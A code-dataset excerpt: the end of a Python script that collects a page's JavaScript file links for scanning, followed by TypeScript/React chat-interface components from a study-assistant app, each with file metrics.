console.print(f"[[red]![/]] Invalid URL {url}: {invalid_error}", highlight=False)
return False
def extract_js(url, page_content, custom_headers) -> None:
" Extract JavaScript files links from page source "
console.print(f"[[yellow]![/]] Extracting JavaScript files from [yellow]{url}[/]", highlight=False)
js_file_pattern = r'src=["\']?([^"\'>\s]+\.js)(\?.*?)?["\'\s>]'
js_files = re.findall(js_file_pattern, page_content)
console.print(f"[[green]+[/]] {len(js_files)} file(s) found\n", highlight=False)
for js_file, _ in js_files:
if(js_file.startswith("http")):
console.print(f"[[yellow]![/]] Scanning [yellow]{js_file}[/]", highlight=False)
scan(js_file, custom_headers)
else:
final_url = f"{url}{js_file}"
console.print(f"[[yellow]![/]] Scanning [yellow]{final_url}[/]", highlight=False)
scan(final_url, custom_headers)
| 2,175
|
main
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 268, "qsc_code_num_chars": 2175.0, "qsc_code_mean_word_length": 5.05597015, "qsc_code_frac_words_unique": 0.32835821, "qsc_code_frac_chars_top_2grams": 0.07084871, "qsc_code_frac_chars_top_3grams": 0.07675277, "qsc_code_frac_chars_top_4grams": 0.03542435, "qsc_code_frac_chars_dupe_5grams": 0.23542435, "qsc_code_frac_chars_dupe_6grams": 0.16236162, "qsc_code_frac_chars_dupe_7grams": 0.05313653, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00058548, "qsc_code_frac_chars_whitespace": 0.21471264, "qsc_code_size_file_byte": 2175.0, "qsc_code_num_lines": 63.0, "qsc_code_num_chars_line_max": 105.0, "qsc_code_num_chars_line_mean": 34.52380952, "qsc_code_frac_chars_alphabet": 0.79274005, "qsc_code_frac_chars_comments": 0.03586207, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10638298, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.24862132, "qsc_code_frac_chars_long_word_length": 0.01976103, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.04255319, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.12765957, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.23404255, "qsc_codepython_frac_lines_print": 0.17021277}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000haoji/deep-student
|
src/chat-core/components/MessageWithThinking.tsx
|
import React, { useState } from 'react';
import { MarkdownRenderer } from './MarkdownRenderer';
import { StreamingMarkdownRenderer } from './StreamingMarkdownRenderer';
import { SummaryBox } from '../../components/SummaryBox';
import { ChatMessageContentPart } from '../types/chat';
import { ChatMessage } from '../../types';
interface MessageWithThinkingProps {
content: string | ChatMessageContentPart[];
thinkingContent?: string;
isStreaming: boolean;
role: 'user' | 'assistant';
timestamp: string;
ragSources?: Array<{
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}>;
// 新增：总结框相关props
showSummaryBox?: boolean;
chatHistory?: ChatMessage[];
subject?: string;
mistakeId?: string;
reviewSessionId?: string;
onGenerateSummary?: (summaryPrompt: string) => void;
currentStreamId?: string;
isGenerating?: boolean;
summaryStreamContent?: string;
summaryStreamComplete?: boolean;
}
export const MessageWithThinking: React.FC<MessageWithThinkingProps> = ({
content,
thinkingContent,
isStreaming,
role,
timestamp,
ragSources,
showSummaryBox = false,
chatHistory = [],
subject,
mistakeId,
reviewSessionId,
onGenerateSummary,
currentStreamId,
isGenerating,
summaryStreamContent,
summaryStreamComplete
}) => {
const [isThinkingExpanded, setIsThinkingExpanded] = useState(true);
const [isRagSourcesExpanded, setIsRagSourcesExpanded] = useState(false);
// 渲染多模态内容的函数
const renderContent = (content: string | ChatMessageContentPart[], isStreaming: boolean) => {
// 处理新的多模态数组格式
if (Array.isArray(content)) {
return content.map((part, index) => {
if (part.type === 'text') {
return (
<div key={`text-${index}`} className="content-text-part">
{isStreaming ? (
<StreamingMarkdownRenderer
content={part.text}
isStreaming={true}
/>
) : (
<MarkdownRenderer content={part.text} />
)}
</div>
);
}
if (part.type === 'image_url' && part.image_url && part.image_url.url) {
return (
<div key={`image-${index}`} className="content-image-part">
<img
src={part.image_url.url}
alt="上传的内容"
style={{
maxWidth: '100%',
maxHeight: '300px',
display: 'block',
marginTop: '8px',
marginBottom: '8px',
borderRadius: '8px',
border: '1px solid #e5e7eb'
}}
onError={(e) => {
e.currentTarget.style.display = 'none';
console.error('图片显示错误:', part.image_url.url.substring(0, 50));
}}
/>
</div>
);
}
return null;
});
}
// 兼容旧的字符串格式
else if (typeof content === 'string') {
return isStreaming ? (
<StreamingMarkdownRenderer
content={content}
isStreaming={true}
/>
) : (
<MarkdownRenderer content={content} />
);
}
// 未知内容格式的占位符
return <div className="content-unknown">未知内容格式</div>;
};
return (
<div className={`message ${role} ${isStreaming ? 'streaming' : ''}`}>
{thinkingContent && role === 'assistant' && (
<div className="thinking-container">
<div
className="thinking-header"
onClick={() => setIsThinkingExpanded(!isThinkingExpanded)}
>
<span className="thinking-icon">🧠</span>
<span className="thinking-title">AI 思考过程</span>
<span className="thinking-toggle">
{isThinkingExpanded ? '▼' : '▶'}
</span>
</div>
{isThinkingExpanded && (
<div className="thinking-content-box">
{isStreaming ? (
<StreamingMarkdownRenderer
content={thinkingContent || ''}
isStreaming={true}
/>
) : (
<MarkdownRenderer content={thinkingContent || ''} />
)}
</div>
)}
</div>
)}
<div className="message-content">
{renderContent(content, isStreaming)}
</div>
{ragSources && ragSources.length > 0 && role === 'assistant' && (
<div className="rag-sources-container" style={{
marginTop: '12px',
border: '1px solid #e0e7ff',
borderRadius: '8px',
backgroundColor: '#f8faff'
}}>
<div
className="rag-sources-header"
onClick={() => setIsRagSourcesExpanded(!isRagSourcesExpanded)}
style={{
padding: '8px 12px',
cursor: 'pointer',
display: 'flex',
alignItems: 'center',
gap: '6px',
borderBottom: isRagSourcesExpanded ? '1px solid #e0e7ff' : 'none',
fontSize: '13px',
fontWeight: '500',
color: '#4338ca'
}}
>
<span>📚</span>
<span>知识库来源 ({ragSources.length})</span>
<span style={{ marginLeft: 'auto' }}>
{isRagSourcesExpanded ? '▼' : '▶'}
</span>
</div>
{isRagSourcesExpanded && (
<div className="rag-sources-content" style={{ padding: '8px 12px' }}>
{ragSources.map((source, index) => (
<div
key={`${source.document_id}-${source.chunk_index}`}
style={{
marginBottom: index < ragSources.length - 1 ? '12px' : '0',
padding: '10px',
backgroundColor: 'white',
borderRadius: '6px',
border: '1px solid #e5e7eb'
}}
>
<div style={{
display: 'flex',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: '6px'
}}>
<div style={{
fontSize: '12px',
fontWeight: '600',
color: '#374151',
display: 'flex',
alignItems: 'center',
gap: '4px'
}}>
<span>📄</span>
<span>{source.file_name}</span>
<span style={{ color: '#6b7280', fontWeight: 'normal' }}>
(块 #{source.chunk_index + 1})
</span>
</div>
<div style={{
fontSize: '11px',
color: '#6b7280',
backgroundColor: '#f3f4f6',
padding: '2px 6px',
borderRadius: '4px'
}}>
相关度: {Math.round(source.score * 100)}%
</div>
</div>
<div style={{
fontSize: '12px',
color: '#4b5563',
lineHeight: '1.4',
fontStyle: 'italic',
backgroundColor: '#f9fafb',
padding: '8px',
borderRadius: '4px',
border: '1px solid #f3f4f6'
}}>
{source.chunk_text.length > 200
? `${source.chunk_text.substring(0, 200)}...`
: source.chunk_text
}
</div>
</div>
))}
</div>
)}
</div>
)}
{/* 总结框 - 仅在assistant消息且启用时显示 */}
{showSummaryBox && role === 'assistant' && (
<SummaryBox
chatHistory={chatHistory}
isVisible={true}
subject={subject}
mistakeId={mistakeId}
reviewSessionId={reviewSessionId}
onGenerateSummary={onGenerateSummary}
currentStreamId={currentStreamId}
isGenerating={isGenerating}
summaryStreamContent={summaryStreamContent}
summaryStreamComplete={summaryStreamComplete}
/>
)}
<div className="message-time">
{new Date(timestamp).toLocaleTimeString()}
</div>
</div>
);
};
| 8,593
|
MessageWithThinking
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 568, "qsc_code_num_chars": 8593.0, "qsc_code_mean_word_length": 7.14964789, "qsc_code_frac_words_unique": 0.32394366, "qsc_code_frac_chars_top_2grams": 0.02954937, "qsc_code_frac_chars_top_3grams": 0.01181975, "qsc_code_frac_chars_top_4grams": 0.0280719, "qsc_code_frac_chars_dupe_5grams": 0.02265452, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02123552, "qsc_code_frac_chars_whitespace": 0.39718375, "qsc_code_size_file_byte": 8593.0, "qsc_code_num_lines": 263.0, "qsc_code_num_chars_line_max": 96.0, "qsc_code_num_chars_line_mean": 32.6730038, "qsc_code_frac_chars_alphabet": 0.76138996, "qsc_code_frac_chars_comments": 0.01152101, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32931727, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.08746321, "qsc_code_frac_chars_long_word_length": 0.00882872, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/components/SimplifiedChatInterface.tsx
|
/**
* Simplified Chat Interface
*
* Replaces the complex AI SDK implementation with a simpler approach
* that uses the unified stream handler directly.
*/
import React, { useState, useRef, useEffect } from 'react';
import { useUnifiedStream, StreamMessage } from '../utils/unifiedStreamHandler';
import { MarkdownRenderer } from './MarkdownRenderer';
import { MessageWithThinking } from './MessageWithThinking';
interface SimplifiedChatInterfaceProps {
tempId?: string;
mistakeId?: number;
initialMessages?: StreamMessage[];
enableChainOfThought?: boolean;
onAnalysisStart?: () => void;
onAnalysisComplete?: (response: any) => void;
className?: string;
}
export const SimplifiedChatInterface = React.forwardRef<any, SimplifiedChatInterfaceProps>(({
tempId,
mistakeId: _mistakeId,
initialMessages = [],
enableChainOfThought = true,
onAnalysisStart,
onAnalysisComplete,
className = ''
}, ref) => {
const [messages, setMessages] = useState<StreamMessage[]>(initialMessages);
const [input, setInput] = useState('');
const [currentStreamId, setCurrentStreamId] = useState<string | null>(null);
const messagesEndRef = useRef<HTMLDivElement>(null);
const {
startStream,
stopStream,
streamProgress,
isStreaming
} = useUnifiedStream();
// Auto-scroll to bottom when new messages appear
useEffect(() => {
if (messagesEndRef.current) {
messagesEndRef.current.scrollIntoView({ behavior: 'smooth' });
}
}, [messages, streamProgress]);
// Update messages from streaming progress
useEffect(() => {
if (currentStreamId && streamProgress[currentStreamId]) {
const progress = streamProgress[currentStreamId];
setMessages(prev => {
const updated = [...prev];
const lastMessage = updated[updated.length - 1];
if (lastMessage && lastMessage.role === 'assistant') {
// Update the last assistant message with streaming content
updated[updated.length - 1] = {
...lastMessage,
content: progress.content,
thinking_content: progress.thinking
};
}
return updated;
});
}
}, [currentStreamId, streamProgress]);
// Handle form submission
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!input.trim() || isStreaming) return;
const userMessage: StreamMessage = {
id: `msg-${Date.now()}`,
role: 'user',
content: input.trim(),
timestamp: new Date().toISOString()
};
// Add user message immediately
setMessages(prev => [...prev, userMessage]);
setInput('');
// Create placeholder assistant message
const assistantMessage: StreamMessage = {
id: `msg-${Date.now() + 1}`,
role: 'assistant',
content: '',
thinking_content: '',
timestamp: new Date().toISOString()
};
setMessages(prev => [...prev, assistantMessage]);
try {
if (onAnalysisStart) {
onAnalysisStart();
}
const updatedChatHistory = [...messages, userMessage];
// Start streaming
const streamId = await startStream(
{
type: tempId ? 'continue_chat' : 'chat',
tempId,
chatHistory: updatedChatHistory,
enableChainOfThought
},
{
onComplete: (content, thinking) => {
// Final update with complete content
setMessages(prev => {
const updated = [...prev];
const lastMessage = updated[updated.length - 1];
if (lastMessage && lastMessage.role === 'assistant') {
updated[updated.length - 1] = {
...lastMessage,
content,
thinking_content: thinking
};
}
return updated;
});
setCurrentStreamId(null);
if (onAnalysisComplete) {
onAnalysisComplete({ content, thinking });
}
},
onError: (error) => {
console.error('Chat stream error:', error);
setCurrentStreamId(null);
// Update the last message to show error
setMessages(prev => {
const updated = [...prev];
const lastMessage = updated[updated.length - 1];
if (lastMessage && lastMessage.role === 'assistant') {
updated[updated.length - 1] = {
...lastMessage,
content: `错误: ${error}`
};
}
return updated;
});
}
}
);
setCurrentStreamId(streamId);
} catch (error) {
console.error('Failed to start chat stream:', error);
}
};
// Handle keyboard shortcuts
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault();
handleSubmit(e as any);
}
};
// Send message programmatically
const sendMessage = async (content: string) => {
setInput(content);
// Trigger form submission
setTimeout(() => {
const form = document.querySelector('.chat-input-form') as HTMLFormElement;
if (form) {
form.requestSubmit();
}
}, 0);
};
// Clear chat
const clearChat = () => {
setMessages(initialMessages);
setInput('');
if (currentStreamId) {
stopStream(currentStreamId);
setCurrentStreamId(null);
}
};
// Stop current stream
const stopCurrentStream = () => {
if (currentStreamId) {
stopStream(currentStreamId);
setCurrentStreamId(null);
}
};
// Expose methods to parent
React.useImperativeHandle(ref, () => ({
sendMessage,
clearChat,
stopStream: stopCurrentStream
}));
return (
<div className={`simplified-chat-interface ${className}`}>
{/* Chat Messages */}
<div className="chat-messages">
{messages.map((message, index) => (
<div key={message.id} className={`message ${message.role}`}>
<div className="message-header">
<span className="role">{message.role === 'user' ? '用户' : 'AI助手'}</span>
<span className="timestamp">
{new Date(message.timestamp).toLocaleTimeString()}
</span>
</div>
<div className="message-content">
{message.role === 'assistant' ? (
<MessageWithThinking
content={message.content}
thinkingContent={message.thinking_content}
isStreaming={isStreaming && index === messages.length - 1}
role="assistant"
timestamp={message.timestamp}
/>
) : (
<div className="user-message">
<MarkdownRenderer content={message.content} />
</div>
)}
</div>
</div>
))}
{/* Loading indicator */}
{isStreaming && (
<div className="streaming-indicator">
<div className="typing-dots">
<span></span>
<span></span>
<span></span>
</div>
<span>AI正在思考和回答中...</span>
</div>
)}
{/* Auto-scroll anchor */}
<div ref={messagesEndRef} />
</div>
{/* Chat Input */}
<form onSubmit={handleSubmit} className="chat-input-form">
<div className="input-container">
<textarea
value={input}
onChange={(e) => setInput(e.target.value)}
onKeyDown={handleKeyDown}
placeholder="输入您的问题..."
disabled={isStreaming}
rows={3}
className="chat-input"
/>
<div className="input-actions">
<button
type="submit"
disabled={!input.trim() || isStreaming}
className="send-button"
>
{isStreaming ? '发送中...' : '发送'}
</button>
{isStreaming && (
<button
type="button"
onClick={stopCurrentStream}
className="stop-button"
>
停止
</button>
)}
<button
type="button"
onClick={clearChat}
disabled={isStreaming}
className="clear-button"
>
清空
</button>
</div>
</div>
</form>
{/* Chat Controls */}
<div className="chat-controls">
<label className="chain-of-thought-toggle">
<input
type="checkbox"
checked={enableChainOfThought}
onChange={() => {
// This would need to be controlled by parent component
}}
disabled={isStreaming}
/>
<span>显示思维过程</span>
</label>
<div className="chat-stats">
<span>消息数: {messages.length}</span>
{isStreaming && <span className="analyzing">分析中...</span>}
{currentStreamId && <span className="stream-id">Stream: {currentStreamId.slice(-8)}</span>}
</div>
</div>
</div>
);
});
| 9,488
|
SimplifiedChatInterface
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 699, "qsc_code_num_chars": 9488.0, "qsc_code_mean_word_length": 7.15307582, "qsc_code_frac_words_unique": 0.30615165, "qsc_code_frac_chars_top_2grams": 0.0264, "qsc_code_frac_chars_top_3grams": 0.024, "qsc_code_frac_chars_top_4grams": 0.0252, "qsc_code_frac_chars_dupe_5grams": 0.1268, "qsc_code_frac_chars_dupe_6grams": 0.112, "qsc_code_frac_chars_dupe_7grams": 0.0786, "qsc_code_frac_chars_dupe_8grams": 0.0786, "qsc_code_frac_chars_dupe_9grams": 0.0786, "qsc_code_frac_chars_dupe_10grams": 0.0786, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00176678, "qsc_code_frac_chars_whitespace": 0.3438027, "qsc_code_size_file_byte": 9488.0, "qsc_code_num_lines": 325.0, "qsc_code_num_chars_line_max": 102.0, "qsc_code_num_chars_line_mean": 29.19384615, "qsc_code_frac_chars_alphabet": 0.80131706, "qsc_code_frac_chars_comments": 0.08473862, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35606061, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06010363, "qsc_code_frac_chars_long_word_length": 0.0084053, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/components/MarkdownRenderer.tsx
|
import React from 'react';
import ReactMarkdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
import remarkMath from 'remark-math';
import rehypeKatex from 'rehype-katex';
interface MarkdownRendererProps {
content: string;
className?: string;
}
// 预处理函数：处理LaTeX和空行
const preprocessContent = (content: string): string => {
if (!content) return '';
let processedContent = content;
// 专门处理 bmatrix 环境
processedContent = processedContent.replace(/\\begin{bmatrix}(.*?)\\end{bmatrix}/gs, (match, matrixContent) => {
// 移除每行末尾 \ 之前和之后的空格
let cleanedMatrix = matrixContent.replace(/\s*\\\\\s*/g, ' \\\\ '); // 保留一个空格以便阅读，KaTeX应能处理
// 移除 & 周围的空格
cleanedMatrix = cleanedMatrix.replace(/\s*&\s*/g, '&');
// 移除行首和行尾的空格
cleanedMatrix = cleanedMatrix.split(' \\\\ ').map((row: string) => row.trim()).join(' \\\\ ');
return `\\begin{bmatrix}${cleanedMatrix}\\end{bmatrix}`;
});
// 处理空行：将多个连续的空行减少为最多一个空行
processedContent = processedContent
// 将 Windows 风格的换行符统一为 Unix 风格
.replace(/\r\n/g, '\n')
// 移除行尾空格
.replace(/[ \t]+$/gm, '')
// 处理列表中的空项：移除只包含数字和点号的行（空列表项）
.replace(/^\s*\d+\.\s*$/gm, '')
// 处理列表中连续的空行
.replace(/(\d+\.\s*[^\n]*\n)\n+(?=\d+\.)/g, '$1\n')
// 将3个或以上连续换行符替换为最多2个
.replace(/\n{3,}/g, '\n\n')
// 处理空格行：包含只有空格的行
.replace(/\n[ \t]*\n/g, '\n\n')
// 特别处理列表项之间的空行
.replace(/(\d+\.\s*[^\n]*)\n\n+(\d+\.\s*[^\n]*)/g, '$1\n$2')
// 移除开头和结尾的多余空行
.replace(/^\n+/, '')
.replace(/\n+$/, '');
return processedContent;
};
export const MarkdownRenderer: React.FC<MarkdownRendererProps> = ({
content,
className = ''
}) => {
// 预处理内容，处理LaTeX公式和空行
const processedContent = preprocessContent(content);
return (
<div className={`markdown-content ${className}`}>
<ReactMarkdown
remarkPlugins={[remarkGfm, remarkMath]}
rehypePlugins={[
[rehypeKatex, {
throwOnError: false, // 不抛出错误，以红色显示错误内容
errorColor: '#cc0000',
strict: false, // 宽松模式
trust: false, // 安全模式
macros: {
'\\RR': '\\mathbb{R}',
'\\NN': '\\mathbb{N}',
'\\ZZ': '\\mathbb{Z}',
'\\QQ': '\\mathbb{Q}',
'\\CC': '\\mathbb{C}'
}
}]
]}
components={{
// 自定义代码块渲染
code: ({ node, inline, className, children, ...props }: any) => {
return !inline ? (
<pre className="code-block">
<code className={className} {...props}>
{children}
</code>
</pre>
) : (
<code className="inline-code" {...props}>
{children}
</code>
);
},
// 自定义表格渲染
table: ({ children }) => (
<div className="table-wrapper">
<table className="markdown-table">{children}</table>
</div>
),
}}
>
{processedContent}
</ReactMarkdown>
</div>
);
};
| 3,085
|
MarkdownRenderer
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 265, "qsc_code_num_chars": 3085.0, "qsc_code_mean_word_length": 5.95849057, "qsc_code_frac_words_unique": 0.43773585, "qsc_code_frac_chars_top_2grams": 0.00759975, "qsc_code_frac_chars_top_3grams": 0.00569981, "qsc_code_frac_chars_top_4grams": 0.01266624, "qsc_code_frac_chars_dupe_5grams": 0.01646612, "qsc_code_frac_chars_dupe_6grams": 0.01646612, "qsc_code_frac_chars_dupe_7grams": 0.01646612, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00455789, "qsc_code_frac_chars_whitespace": 0.28881686, "qsc_code_size_file_byte": 3085.0, "qsc_code_num_lines": 105.0, "qsc_code_num_chars_line_max": 115.0, "qsc_code_num_chars_line_mean": 29.38095238, "qsc_code_frac_chars_alphabet": 0.71513218, "qsc_code_frac_chars_comments": 0.11507293, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.125, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.08092274, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/components/AIChatInterface.tsx
|
/**
* AI Chat Interface using Vercel AI SDK
*
* This component replaces the custom streaming implementation with
* Vercel AI SDK's useChat hook for better performance and reliability.
*/
import React, { useState, useMemo } from 'react';
import { useChat } from '@ai-sdk/react';
import { createAISdkFetch } from '../utils/aiSdkAdapter';
import { convertFromTauriFormat } from '../utils/chatMessageConverter';
import { MarkdownRenderer } from './MarkdownRenderer';
import { MessageWithThinking } from './MessageWithThinking';
interface AIChatInterfaceProps {
tempId?: string;
mistakeId?: number;
initialMessages?: any[];
enableChainOfThought?: boolean;
onAnalysisStart?: () => void;
onAnalysisComplete?: (response: any) => void;
className?: string;
}
export const AIChatInterface = React.forwardRef<any, AIChatInterfaceProps>(({
tempId,
mistakeId,
initialMessages = [],
enableChainOfThought = true,
onAnalysisStart,
onAnalysisComplete,
className = ''
}, ref) => {
const [isAnalyzing, setIsAnalyzing] = useState(false);
// Convert initial messages to AI SDK format
const convertedInitialMessages = useMemo(() =>
convertFromTauriFormat(initialMessages),
[initialMessages]
);
// Determine API endpoint based on props
const apiEndpoint = useMemo(() => {
if (tempId) return '/api/continue-chat';
if (mistakeId) return '/api/mistake-chat';
return '/api/chat';
}, [tempId, mistakeId]);
// Initialize AI SDK useChat hook
const {
messages,
input,
handleInputChange,
handleSubmit,
isLoading,
error,
reload,
stop,
append,
setMessages
} = useChat({
api: apiEndpoint,
initialMessages: convertedInitialMessages,
fetch: createAISdkFetch(),
body: {
tempId,
mistakeId,
enableChainOfThought
},
onResponse: (response) => {
console.log('AI SDK Response received:', response.status);
if (onAnalysisStart) {
onAnalysisStart();
}
setIsAnalyzing(true);
},
onFinish: (message) => {
console.log('AI SDK Response finished:', message);
setIsAnalyzing(false);
if (onAnalysisComplete) {
onAnalysisComplete(message);
}
},
onError: (error) => {
console.error('AI SDK Error:', error);
setIsAnalyzing(false);
}
});
// Handle form submission with custom logic
const onSubmit = async (e: React.FormEvent<HTMLFormElement>) => {
e.preventDefault();
if (!input.trim() || isLoading) return;
setIsAnalyzing(true);
try {
await handleSubmit(e);
} catch (error) {
console.error('Chat submission error:', error);
setIsAnalyzing(false);
